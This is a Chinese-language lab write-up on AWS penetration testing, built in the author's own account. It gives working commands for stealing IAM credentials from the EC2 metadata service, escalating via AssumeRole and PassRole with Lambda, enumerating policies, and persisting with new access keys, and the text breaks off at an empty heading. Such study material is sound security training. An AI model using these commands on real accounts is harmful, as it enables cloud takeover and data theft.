AWS 云渗透测试

围绕 AWS 环境的信息收集、身份权限与常见攻击面的实践笔记。

EC2 元数据服务利用(IMDS)

跟IAM息息相关,在基础部分其实提到过这个,要利用的话只能通过ssrf和webshell等

在EC2里面访问下面连接的时候 可能会获得一个临时凭证 相当于获得临时的KEY来访问该权限下的所有服务

1
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

EC2 元数据服务(Instance Metadata Service, IMDS) 运行在这个 IP 上,它提供:

  1. 实例信息(如 instance-id, ami-id
  2. 网络信息(如 public-ipv4, security-groups
  3. IAM 角色凭证(最关键的部分!)
  4. 用户数据(EC2 启动时执行的脚本)

跟基础部分一样,有了这两个KEY,你可以查看S3,查看EC2,查看一系列东西,算是高危,且默认是开启的。

比如

访问路径:

1
curl http://169.254.169.254/latest/meta-data/

返回:

1
2
3
4
5
6
7
8
ami-id
hostname
iam/
instance-id
instance-type
network/
public-ipv4
security-groups

其中,最危险的是:

1
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

返回:

1
AdminRole

然后访问:

1
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

如果返回:

1
2
3
4
5
6
{
    "AccessKeyId": "ASIA...",
    "SecretAccessKey": "....",
    "Token": "....",
    "Expiration": "2025-03-04T00:00:00Z"
}

成功拿到了 AWS IAM 角色的临时凭证,可以用 AWS CLI 进行各种操作!

实操一下 这里开启一个EC2实例 就用之前用过的就行,只要访问成功就行,学到的内容就是:找到一个AWS EC2实例开启的web服务的ssrf或者getshell的时候就能接管一部分资源了。

AWS元数据服务利用实操

AWS 默认使用 IMDSv1curl 可以直接访问),但 AWS 允许管理员启用 IMDSv2,它要求:

  • 先获取一个临时 Token
  • 使用 Token 进行后续请求

检查是否启用了 IMDSv2

1
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

正常来说curl直接就可以了 但是上面也提到了如果开启了 IMDSv2 就需要先获得token 然后利用token再来请求元数据。如下

获得了一串token就说明 IMDSv2 已启用,你必须用这个 Token 才能访问元数据。

其实就是获取了token之后加一个请求头就行 按照上面教程加一个请求添加上token

1
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

如果在ssrf或者webshell当中 他不是交互式可能用不了这种变量 需要自行复制粘贴上去就行 这里学习的话方便一点就直接 设一个变量了

1
2
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

成功了 但是并没有绑定IAM角色 所以要绑定一个IAM角色才能读取凭证 在AWS基础概念那一块 对这个EC2绑定IAM角色讲了一部分 但是对于原理的部分讲的比较少 目前有一个EC2实例,他想要访问S3存储桶,可能是一个web服务,他想在本地存储文件存储到存储桶,还是写入一些东西放到存储桶,或者每天备份一次网站到存储桶等等这都是后端部分了,我想表达的意思就是这个EC2要调用S3存储桶。

正常来说访问S3存储桶,生成一个用户,获得他的两个KEY不就可以了吗,怕危险也可以只给这个用户一个S3的权限,这样很方便,但是这样的优点较少弊端较多,首先如果攻击者获得了webshell找到了KEY就能长期持有这个S3的权限了,其次如果想要其他服务的权限,手动轮换的代价过高,需要人工访问API等等都是缺点,优点只有一个SSRF读取不到,缺点就是任意文件读取能读到。

而绑定一个角色,需要什么权限就绑哪一个就行了,可以一直绑,优点就是key的时效只有1个小时,在后面将漏洞修复了,他就无法长期来控制这个S3,那在EC2内部调用S3等等服务的时候不还是要先获取token再请求api获得临时凭证吗,也挺麻烦的,实际上AWSCLI在你请求S3的时候会自动获取凭证等等信息,不需要其他操作,缺点就是SSRF能读取把。接下来开始实操

EC2绑定IAM角色

选择刚刚创建的角色更新就行 接下来看一下存储桶

没有问题 一个存储日志的存储桶 一个学习基础概念的时候创建的存储桶 可以直接访问

环境配好了 接下来放EC2元数据服务的接口 普通命令之前就了解了 不需要再用这个操作了 目前的场景主要是webshell还有ssrf

EC2元数据服务重要接口

自行学习还是先把TOKEN生成一下吧

1
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

EC2 的元数据存储在 http://169.254.169.254/latest/meta-data/ 下面,所有的关键信息都可以从这里获取。

接口用途IMDS v1IMDS v2
/latest/meta-data/获取所有可用的元数据目录curl http://169.254.169.254/latest/meta-data/curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
/latest/meta-data/iam/security-credentials/列出 IAM 角色名称curl http://169.254.169.254/latest/meta-data/iam/security-credentials/curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
/latest/meta-data/iam/security-credentials/{role-name}获取 IAM 角色的临时凭证curl http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}
/latest/meta-data/instance-id获取实例 IDcurl http://169.254.169.254/latest/meta-data/instance-idcurl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id
/latest/meta-data/public-ipv4获取实例的公网 IPcurl http://169.254.169.254/latest/meta-data/public-ipv4curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/public-ipv4
/latest/meta-data/local-ipv4获取实例的私有 IPcurl http://169.254.169.254/latest/meta-data/local-ipv4curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/local-ipv4
/latest/meta-data/mac获取实例的 MAC 地址curl http://169.254.169.254/latest/meta-data/maccurl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/mac
/latest/meta-data/network/interfaces/macs/{mac}/vpc-id获取 VPC IDcurl http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-idcurl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-id

没有问题 其他接口感兴趣可以自己测一下

IAM 渗透(角色切换 & 权限滥用)

在 AWS 云渗透中,很多 AWS 资源(EC2、Lambda)默认绑定 IAM 角色,但这些角色通常是 最低权限的

但是,有些 IAM 角色可能可以 Assume(承担)更高权限的角色! 如果攻击者找到这些角色,就可以获取更高级的访问权限,甚至变成 AWS 管理员。

IAM 渗透主要有 4 个核心技术点

  1. sts:AssumeRole角色切换 → 获取更高权限
  2. iam:PassRole权限滥用 → 绕过访问控制
  3. iam:GetPolicyVersion读取策略 → 找到可滥用权限
  4. iam:CreateAccessKey创建新密钥 → 持久化控制 AWS 账户

sts:AssumeRole角色切换

理论

  • AssumeRole允许一个 IAM 角色 “变成” 另一个 IAM 角色
  • 这意味着 低权限用户可能可以切换成高权限用户
  • 如果攻击者能找到可被 Assume 的高权限角色,他就能 借此提升权限
1
aws sts assume-role --role-arn "arn:aws:iam::123456789012:role/AdminRole" --role-session-name attacker-session

如果成功,会返回一个 新的临时凭证

1
2
3
4
5
6
7
8
{
  "Credentials": {
    "AccessKeyId": "ASIA...",
    "SecretAccessKey": "SECRET...",
    "SessionToken": "TOKEN...",
    "Expiration": "2025-03-04T00:00:00Z"
  }
}

在 AWS 中,AssumeRole 允许一个 IAM 角色“变成”另一个 IAM 角色

🔹 为什么这很重要?

  • AWS 不让普通用户直接访问 Administrator 角色,但有些 IAM 角色可以 Assume(切换)到更高权限的角色。
  • 如果你的角色有 sts:AssumeRole权限,你就可以“变成”管理员!

🔹 如何工作?

  1. 低权限角色(你当前的 EC2S3AccessRole请求 AssumeRole,AWS 返回 一个临时凭证
  2. 用这个新凭证,你可以变成更高权限的 IAM 角色,并访问受限资源。

上面就是理论框架,理清一下思路,如果存在sts:AssumeRole权限就可以切换到管理员权限,而当前用户不存在 sts:AssumeRole 权限怎么办呢,那就需要去找有这个权限的IAM角色,并且这个角色必须信任当前持有的IAM账户,才能切换到这个IAM角色。接下来搭建环境。

注意这里一定要读:这个有点复杂 也是我复现到后面才发现的问题 仅仅存在sts:AssumeRole权限的话是无法随意切换到其他用户的 利用的前提就是高权限用户信任低权限用户且低权限用户存在sts:AssumeRole权限,这个权限的作用仅仅是允许你可以切换用户,仅此而已,就像linux必须先给你一个su的权限,且你su的时候另一个用户对你开放了su不需要密码的权限才行。有点鸡肋,下面的环境搭建教程我重新重构了。

环境搭建

给之前创建的EC2S3AccessRole角色加上查询用户以及查询信任关系的权限,让EC2S3AccessRole能查到谁信任它,然后给上sts:AssumeRole权限让他具备 “su” 的能力。

给EC2S3AccessRole能查询用户的权限,如果不能查询用户,他就不知道谁信任他,也找不到ARN,也无法切换到这个具有sts:AssumeRole权限且信任他的角色了。

步骤如下

在对应的位置搜索IAM找到ListRoles和GetRole打勾就可以,当然右边的json也可以,在右边的json里面输入下面的配置也是没问题的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
{
	"Version": "2012-10-17",
	"Statement": [
		{
			"Sid": "VisualEditor0",
			"Effect": "Allow",
			"Action": "iam:GetRole",
			"Resource": "arn:aws:iam::6502*******:role/*"
		},
		{
			"Sid": "VisualEditor1",
			"Effect": "Allow",
			"Action": "iam:ListRoles",
			"Resource": "*"
		}
	]
}

1
aws iam list-roles

回到EC2上测试没有问题,当前的EC2S3AccessRole角色可以查看IAM用户了。

接下来给EC2S3AccessRole附上sts:AssumeRole权限

还是刚刚的的步骤继续内联策略

这里详细介绍一下资源(画红线)这一块,有些意思感兴趣可以看看(上面其实也有这个)。

选择所有的话,代表整个AWS里面,包括任何AWS账号的任何角色,你都可以去尝试切换,但是前提是他得信任你,只要他在他的信任策略里面添加了这个账号的ARN,就可以跨账号去切换过去,这个一般用于企业跨AWS账号。 选择特定的话,可以点击那个添加ARN来选择。

上面说了所有的话是没有任何限制,这里有点限制,限制一个AWS账户,也就是只有你指定的AWS账户里的角色对你信任你才能切换过去,其他账户的角色就算对你信任,你不解开这个,也无法去切换过去,算是一个双向的认证吧。

直接添加就行 选择当前ARN资源的所有的path

此时两个策略写好了,目前还需要创建一个角色,为了体现越权的感觉,给新建的角色AdministratorAccess等权限就行,同时信任EC2S3AccessRole。

到这一步创建就可以了 值得一提的是 从开始创建选择受信任的实体的时候 我们选择了当前的账户 这导致我们整个账户的角色 都被PrivilegeTest这个新角色信任 但是我们一开始的目的是 仅仅允许EC2S3AccessRole被信任 那就可以用下面这个 将他的ARN填进去就行 然后编辑覆盖原来的信任策略

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::650251******:role/EC2S3AccessRole"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

至此环境全部搭建好了。

复现验证

接下来复现一条攻击链,整体的方法非常多,先走其中一条复现原理。

1
2
3
4
5
aws iam list-roles
aws iam list-roles --query "Roles[*].Arn"

# --query后面是查询语法 把这两个输出一下就能理解了
aws iam list-roles --query "Roles[*].RoleName"

找到了一堆角色,现在可能有很多疑问,但是先看下去后面会解释,目前是为了熟悉这一条流程。

我们已经知道了PrivilegeTest这个就是信任当前角色(EC2S3AccessRole)的角色,输出一下他的ARN

1
2
3
4
aws iam list-roles --query "Roles[?RoleName=='PrivilegeTest'].Arn"
aws iam list-roles --query "Roles[?RoleName=='PrivilegeTest'].Arn" --output text

# 这个规则也可以学习一下

拿到了ARN 虽然已经知道了这个角色信任我们,但是还是得验证一下

1
aws iam get-role --role-name PrivilegeTest --query "Role.AssumeRolePolicyDocument"

没有问题 确实是信任状态 目前就可以尝试获得这个高权限的两个KEY了

1
aws sts assume-role --role-arn "arn:aws:iam::6502********:role/PrivilegeTest" --role-session-name test-session

没问题 直接使用AWS CLI将这些凭证写入 这里还有很多方法 不能用刚开始学的方法 那个无法写入token 导致无法使用 下面这个应该是最快的和方便的了

1
2
3
4
aws configure set aws_access_key_id "ASIAxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_secret_access_key "xxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_session_token "xxxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set region "us-east-2" --profile privileged-session

输入完成就开始验证一下当前身份就行了 不执行其他命令了

1
aws sts get-caller-identity --profile privileged-session

没有问题 成功切换了 剩下的就可以看看当前权限什么的 然后干一些事情

补充部分

这一部分也是最麻烦的。流程已经讲清楚了再复述一遍把。当我们第一次拿到了一个角色的凭证,无论是IMDS还是什么获取到的,如果权限过低首先尝试提权。

先用当前角色xxxx查询所有角色xxxx的名称以及ARN,再xxxx查询谁对我信任,然后再xxxx切换到xxxx信任我的角色。

上面的关键流程我都打高亮了,第一个问题查询所有角色,之前环境搭建的时候看到了,查询所有角色的权限是我们给他的,如果不给他呢?其实还有很多方法,但是是其他权限的方法(总而言之就是要权限),只是这个方法比较简单,所以才给了它查询所有角色的权限。第二个能查询所有权限了,还需要查看谁对我信任,所以我们当时又给了他一个获得策略的权限,这样就可以去查看其他角色的信任策略了。第三给它 sts:AssumeRole 权限,这样才能切换角色。

最关键的就是查询所有角色,这里不仅要判断他是否为高权限角色,还要看他是否对当前角色信任。你能想到的每一块其实都有对应的权限需要对开启才能查看。

查看权限策略需要 iam list-attached-role-policies ,查看内联策略需要 iam list-role-policies 。不开启那就什么都干不了,补充部分作为最重要的部分,主要目的是如果存在一部分权限,如果进行利用完成攻击链。

流程所需的命令

命令用途所需权限
aws sts get-caller-identity获取当前身份(确定是 IAM 用户 还是 IAM 角色)无需权限(所有 AWS 账户默认可用)
aws iam list-roles查询当前 AWS 账户所有 IAM 角色的名称和 ARNiam:ListRoles
aws iam list-users列出所有 IAM 用户 (用户名 + ARN)iam:ListUsers
aws iam get-user获取当前 IAM 用户的详细信息 (用户名 + ARN)iam:GetUser
aws iam get-role --role-name <ROLE_NAME>获取指定角色的详细信息(包括信任策略)iam:GetRole
aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess查看哪些 IAM 用户/角色 绑定了管理员权限iam:ListEntitiesForPolicy
aws iam list-attached-role-policies --role-name <ROLE_NAME>获取指定角色 附加的 托管策略iam:ListAttachedRolePolicies
aws iam list-role-policies --role-name <ROLE_NAME>获取指定角色的 内联策略iam:ListRolePolicies
aws iam get-role-policy --role-name <ROLE_NAME> --policy-name <POLICY_NAME>查看指定角色的 内联策略 详细内容iam:GetRolePolicy
aws iam get-policy --policy-arn <POLICY_ARN>查看指定 托管策略 的信息iam:GetPolicy
aws iam get-policy-version --policy-arn <POLICY_ARN> --version-id v1获取指定 托管策略版本 的详细权限iam:GetPolicyVersion
aws sts assume-role --role-arn "arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>" --role-session-name my-session切换到目标角色(需要目标角色信任当前身份)sts:AssumeRole
aws sts get-session-token获取基于 MFA 的临时凭证(用于提高权限)sts:GetSessionToken
aws sts decode-authorization-message --encoded-message <ENCODED_MESSAGE>解码 AccessDenied 错误的详细信息sts:DecodeAuthorizationMessage

iam:PassRole 权限滥用

理论

逻辑:

  1. PassRole 允许你把一个 IAM 角色 赋予 AWS 资源(比如 EC2、Lambda)。
  2. 但你自己不能 Assume 这个角色,只能让 AWS 资源使用这个角色。
  3. 如果 AWS 资源能执行某些高权限操作(比如 S3 读写、EC2 操作),那你就能利用它间接获取高权限

方式:

  1. 让 Lambda 绑定高权限角色(常见方式)
  • 我们有iam:PassRole 权限,并且可以创建 / 更新 Lambda。
  • 我们创建 Lambda 并让它绑定高权限角色,然后让 Lambda 执行命令
  1. 让高权限角色绑定到 Lambda / EC2(可遇不可求)
  • 如果目标高权限 IAM 角色 能修改 AWS 资源(EC2 / Lambda),那么它可以被引导去执行恶意代码。
  • 这种情况比较少见,主要是如果管理员误配置导致你能控制某个高权限角色的 AWS 资源。

前提:你拥有以下权限之一

权限作用
iam:PassRole允许你给 Lambda / EC2 附加 IAM 角色 (前提权限,必须有)
lambda:CreateFunction允许你创建新的 Lambda (新建时直接赋予高权限角色)二选一
lambda:UpdateFunctionConfiguration允许你修改已有 Lambda 的 IAM 角色 二选一
lambda:InvokeFunction允许你触发 Lambda (如果你改了 Lambda 代码,也得能调用它) 必须
lambda:ListFunctions允许你列出已有 Lambda (如果你想改某个 Lambda,先得能看到它) 必须
ec2:RunInstances允许你创建新的 EC2 (创建时直接赋予高权限角色)
ec2:ModifyInstanceAttribute允许你修改已有 EC2 的 IAM 角色
ec2:StartInstances允许你启动一个暂停的 EC2(如果它已经有高权限角色)

解释一下这里:创建角色的时候不是可以选择服务吗,你可以选择Lambda或者ec2,我们之前用的EC2S3AccessRole就是选择EC2所以它是拥有EC2全部权限的角色,在创建的时候就已经选择了EC2了,这个时候再附加上iam:PassRole就可以完成这部分的利用,这就是原理,当然这只是一个场景表达的意思是能理解就行,最终还是需要上面的这些权限可以比如iam:PassRole加上lambda的那四个权限,或者iam:PassRole加上ec2的那三个权限,都可以完成。

主要逻辑就是先查看所有的Lambda函数(lambda:ListFunctions),创建一个Lambda函数(lambda:CreateFunction/lambda:UpdateFunctionConfiguration),配合iam:PassRole将高权限角色绑定上去,该Lambda代码,一般创建的时候就能直接构造,执行代码(lambda:InvokeFunction),完成攻击。

环境搭建

需要一个高权限且信任Lambda服务的角色,我过会针对这个角色来做攻击

验证一下这个账号是否可用,顺便聊一下Lambda的原理,Lambda会强制绑定一个角色,如果没有合适的角色在你创建Lambda函数的时候会自动给你生成一个合适的角色,我们刚刚创建的就是一个合适的角色,首先信任Lambda服务,其次拥有administratoraccess权限这个权限包含了Lambda的所有权限。

如何验证呢?前往Lambda处创建函数,选择现有角色,这里只会出现合适的角色。

第二个就是我们创建的,那么第一个是哪来的呢,这个是在AWS基础概念那边学习基础的时候,不懂这些,就选择的上面创建具有基本Lambda权限的新角色自动创建的。可以研究一下角色看都有什么权限。MyFirstFunction-role-ox8lckqa

可以看到,这里仅仅信任Lambda服务,其次有一个自定义的策略,主要就是Amazon CloudWatch Logs 权限 跟描述一样

被提权的角色搭建完成了,还需要创建一个具有Lambda权限的账户/能访问的角色 这两个其中一个都行,然后加上关键的iam:PassRole权限就配置好了这个低权限用户/角色。

这里要考虑的问题可以自行思考一下,以及哪个方便都能自行考虑一下,能加深对这些服务的理解,更好理解这个架构和原理。这里为了演示并且熟悉一下之前学过的东西就选择能访问的角色把。

创建即可 开始赋予关键的权限 iam:PassRole 。

这样就算完成了。梳理一下当前的思路。 有一个高权限的且信任Lambda的角色,还有一个我们可控的仅仅具有Lambda和iam:PassRole权限的低权限角色,这个时候我们可控的低权限角色可以靠Lambda权限创建函数,iam:PassRole权限又允许我们可以指定高权限角色作为这个函数的执行角色。将这个高权限的且信任Lambda的角色添加为我们可控的函数的执行角色之后,我们上传的任何的Lambda代码,在执行的时候都是以这个高权限角色的身份运行的,这就是原理。

复现验证

还记得EC2S3AccessRole这个账号吗,它存在角色切换的权限,当然也可以用之前创建的具有administratoraccess权限的账户,都是没有问题的,这里体现的就是我们控制了存在Lambda权限的账号且该账号存在 iam:PassRole 权限。

找到新建低权限角色LambdaTest的ARN

1
aws sts assume-role --role-arn arn:aws:iam::65025******:role/LambdaTest --role-session-name ExploitSession

没有任何问题 还是上节学的导入方法 那个方法比较简单 其他方法稍微麻烦就不搞了。

1
2
3
4
aws configure set aws_access_key_id "ASIAxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_secret_access_key "xxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_session_token "xxxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set region "us-east-2" --profile privileged-session

有了这些东西 只要存在AwsCli 不管在哪里执行都行

可以执行 返回空是因为我把lambda函数全都删了(Lambda函数的boto3库是一定要学的 我比较擅长python 后续回单开一节专门学习boto3库) 按照基础概念里学的步骤往上传就可以了

构造python的poc代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import json
import boto3

def lambda_handler(event, context):
    client = boto3.client('s3')
    response = client.list_buckets()

    for bucket in response["Buckets"]:
        bucket["CreationDate"] = bucket["CreationDate"].isoformat()

    return {
        'statusCode': 200,
        'body': json.dumps(response)
    }

压缩代码 能压缩就行 不管什么办法

1
zip function.zip lambda_function.py

创建函数

1
2
3
4
5
6
7
8
aws lambda create-function \
    --function-name testLambda \
    --runtime python3.9 \
    --role arn:aws:iam::<ACCOUNT_ID>:role/<HIGH_PRIV_ROLE> \
    --handler lambda_function.lambda_handler \
    --zip-file fileb://function.zip

aws lambda create-function --function-name testLambda --runtime python3.9 --role arn:aws:iam::<ACCOUNT_ID>:role/<HIGH_PRIV_ROLE> --handler lambda_function.lambda_handler --zip-file fileb://function.zip

这里有个小插曲,昨天我尝试了很久一直失败了(今天成功了),说什么token有问题,问了GPT的同时我也分析了下,旧的 STS 临时凭证仍然在使用这个最符合我当时的情况,如果你的 AWS CLI 之前使用了一个失效的或权限不足的 STS 临时凭证,即使你在 AWS 控制台修改了 IAM 角色权限,CLI 仍然会使用旧的 Token,导致权限问题。当时做测试用了很多的STS临时凭证,后面发现有问题就重新加权,结果一直是如下报错。

An error occurred (UnrecognizedClientException) when calling the CreateFunction operation: The security token included in the request is invalid.

今天可能是因为设置的token失效为一个小时,已经过期被抛弃了,重新生成key和token之后恢复了正常,GPT也给了解决方法,昨天没有用到的。

1
aws sts assume-role --role-arn arn:aws:iam::6502******:role/LambdaTest --role-session-name DebugSession

可以试试 总之今天能使用了 成功上传

没有问题 可以在web端测试一下 看看能不能跑起来 同时用AWSCLI验证一下 能否访问S3

1
aws lambda invoke --function-name testLambda --payload "{\"key1\": \"value1\", \"key2\": \"value2\"}" response.json --cli-binary-format raw-in-base64-out

没有问题 确实是遍历了 至此攻击链完结

补充部分

关键利用链也讲的很清楚了 但其实还有一处特别重要 Lambda函数提供了多种语言

如果你擅长其中一种语言 再查看的时候你可以发现他引入了一个库 比如python就有boto3库 很明显 访问资源的时候 基本上就是boto3库来进行调用才访问到的 而刚刚给的代码只能完成访问S3没有其他作用 所以后续必须学习写Lambda代码 也就是学习boto3这个库 学这个后面必须新开一个才行 这里复现完成就到此为止了。

iam:GetPolicyVersion 读取策略

理论

如果你可以调用 iam:GetPolicyVersion,你就可以查看某个策略的所有权限,可能会发现被滥用的高权限策略。之前学习的两个都存在滥用的高权限策略,这里主要是把他们两个读出来,然后看看就行了,具体是要会分析,会读取。这里的逻辑可能有点问题,是这样的,如果你发现了一个策略绑定到了某个角色身上,并且该角色是你可控的角色。(用户我试了 无法查询)

环境搭建

复用前两个的环境即可,至于我们需要的iam:GetPolicyVersion权限,想创建可以自行创建看看,主要是需要这几个权限。

1
2
3
iam list-policies(查询账户中所有的管理策略)
iam get-policy(查询某个策略的默认版本)
iam GetPolicyVersion(最关键的)(读取策略的详细内容)

我这里直接用管理员账户测试就行了。

查询账户中所有管理策略

目标:找到所有 AWS 账户中的 Managed Policy(托管策略)。

1
aws iam list-policies --query "Policies[*].{PolicyName:PolicyName, Arn:Arn}"

返回示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[
  {
    "PolicyName": "AdministratorAccess",
    "Arn": "arn:aws:iam::aws:policy/AdministratorAccess"
  },
  {
    "PolicyName": "S3FullAccess",
    "Arn": "arn:aws:iam::aws:policy/S3FullAccess"
  }
]

你会发现当前 AWS 账户内所有的策略,包括:

  • 高权限策略(如 AdministratorAccess
  • 可能可滥用的策略(如 PassRoleCreateUser 等)

查询某个策略的 默认版本

目标:找到某个策略的 VersionId,然后用 GetPolicyVersion 获取具体权限。

1
aws iam get-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

返回示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
    "Policy": {
        "PolicyName": "AdministratorAccess",
        "Arn": "arn:aws:iam::aws:policy/AdministratorAccess",
        "DefaultVersionId": "v1",
        "AttachmentCount": 10,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true
    }
}

重点:DefaultVersionId v1,这个 v1 就是当前生效的策略版本。

读取策略的详细内容

目标:利用 iam:GetPolicyVersion 读取策略权限,查找可滥用的权限。

1
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --version-id v1

返回示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": "*",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true
    }
}

如果 Action: "*" Resource: "*",说明这个策略是 AdministratorAccess,可以完全控制 AWS 账户

上面的流程都敲一遍,因为后续还有点复杂,理论部分讲过了,这个主要是在你知道了你可控的某个角色绑定的策略之后,在进行利用的,如果你不知道你可控的角色绑定了什么策略,查这个完全没用。

接下来引出6个重要的权限用于配合 iam:GetPolicyVersion。

查询用户(User)绑定的策略
  • 托管策略
1
aws iam list-attached-user-policies --user-name <用户名>

所需权限iam:ListAttachedUserPolicies

输出示例

1
2
3
4
5
6
7
8
{
  "AttachedPolicies": [
    {
      "PolicyName": "AdminPolicy",
      "PolicyArn": "arn:aws:iam::123456789012:policy/AdminPolicy"
    }
  ]
}
  • 内联策略
1
aws iam list-user-policies --user-name <用户名>

所需权限iam:ListUserPolicies

输出示例

1
2
3
{
  "PolicyNames": ["InlinePolicyForUser"]
}
查询角色(Role)绑定的策略
  • 托管策略
1
aws iam list-attached-role-policies --role-name <角色名>

所需权限iam:ListAttachedRolePolicies

  • 内联策略
1
aws iam list-role-policies --role-name <角色名>

所需权限iam:ListRolePolicies

查询组(Group)绑定的策略
  • 托管策略
1
aws iam list-attached-group-policies --group-name <组名>

所需权限iam:ListAttachedGroupPolicies

  • 内联策略
1
aws iam list-group-policies --group-name <组名>

所需权限iam:ListGroupPolicies

复现验证

接下来就比较简单了,我们针对EC2S3AccessRole进行查询看看就行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
C:\Users\xxxxxx>aws iam list-attached-role-policies --role-name EC2S3AccessRole
{
    "AttachedPolicies": [
        {
            "PolicyName": "AmazonS3ReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess"
        },
        {
            "PolicyName": "AmazonS3FullAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonS3FullAccess"
        },
        {
            "PolicyName": "AWSLambda_FullAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AWSLambda_FullAccess"
        }
    ]
}

C:\Users\xxxxxx>aws iam list-role-policies --role-name EC2S3AccessRole
{
    "PolicyNames": [
        "AssumeRole",
        "ListRoles"
    ]
}

能看到他所有的权限,那么问题来了,是个人都知道上面的托管策略的里面的三个是干啥的,他们都是默认的,具体的权限也都知道,为什么非要去读取它的具体策略还非要iam:GetPolicyVersion去读取呢,为什么还非要 iam list-policies(查询账户中所有的管理策略) iam get-policy(查询某个策略的默认版本) iam GetPolicyVersion(最关键的)(读取策略的详细内容) 这三个权限配合呢?这不是多此一举吗,我其实疑问也非常大。实际上这个权限危害还是挺大的。攻击链因具体环境而变,首先主要针对于自定义策略,如果上面查到的三个托管权限不是默认的呢,是不是就无法确认他是什么权限,这个时候用iam GetPolicyVersion读取出来就知道他能干什么了,如果出现表中的权限,那么干的事情就非常多了。

可滥用权限风险
iam:PassRole允许将高权限角色绑定到 Lambda / EC2 进行提权
sts:AssumeRole允许切换到高权限角色
iam:CreateUser允许创建新 IAM 用户,持久化后门
iam:AttachUserPolicy允许给低权限用户绑定管理员权限
iam:CreateAccessKey允许为其他用户创建密钥
lambda:UpdateFunctionCode允许修改 Lambda 代码,植入恶意操作

这一条攻击链是能知道某个角色存在某个自定义的托管权限,然后去查看具体的托管权限是怎么写的。 下一个问题,那跟这三个权限中的上面两个有什么关系,为什么非要提他俩。 iam list-policies(查询账户中所有的管理策略) iam get-policy(查询某个策略的默认版本) iam GetPolicyVersion(最关键的)(读取策略的详细内容) 我们可以用第一个命令找到所有的权限,如果存在某个非默认的自定义托管权限的时候,查看一下版本,如果是默认的,就去读取整个策略的详细内容,再根据这个自定义策略去猜测他给了谁,也就是谁被赋予了这个自定义策略,甚至能构造poc直接遍历所有角色跑一边,或者说下面这个权限也能找到。

目标:确定该策略被绑定到哪些用户(User)、角色(Role)或组(Group)。 所需权限iam:ListEntitiesForPolicy(列出绑定该策略的实体)。 操作

1
aws iam list-entities-for-policy --policy-arn arn:aws:iam::123456789012:policy/AdminPolicy
1
2
3
4
5
{
  "PolicyGroups": [],
  "PolicyUsers": [{"UserName": "BackdoorUser"}],
  "PolicyRoles": [{"RoleName": "AdminRole"}]
}

这个时候就能定位目标角色了,如果你有这个角色的权限或者查询一下目标角色的信任策略(get-role),然后就可以用arn:aws:iam::123456789012:policy/AdminPolicy了。

刚好又回到了sts:AssumeRole角色切换这里,这就是完整的攻击链。

补充部分

可能看起来确实有点复杂了,但是这仍然是一个高危的权限,它允许你读取很多策略,可能利用部分感觉有点鸡肋,一般有些公司可能会写一堆自定义策略,AWS已经做到极致了,当管理人员写错任何一个策略都可能被乘虚而入。

iam:CreateAccessKey 创建新密钥

理论

Access Key = AWS 账户的凭据,相当于 root 账户的用户名和密码。

通过 iam:CreateAccessKey,攻击者可以给自己创建一个新的 Access Key,即使原有凭据被废弃,攻击者仍然可以继续访问 AWS 资源。

这是一种 持久化 技术,允许攻击者在获得 AWS 账户初始访问权限后 长期保留访问权限,即使管理员删除原始凭据。

这里比较好理解,就是当我们通过一种方法获得了目标的用户权限,注意并不是角色权限,角色只有短期的key,用户才拥有长期的key,然后生成一个新密钥就行。

环境搭建

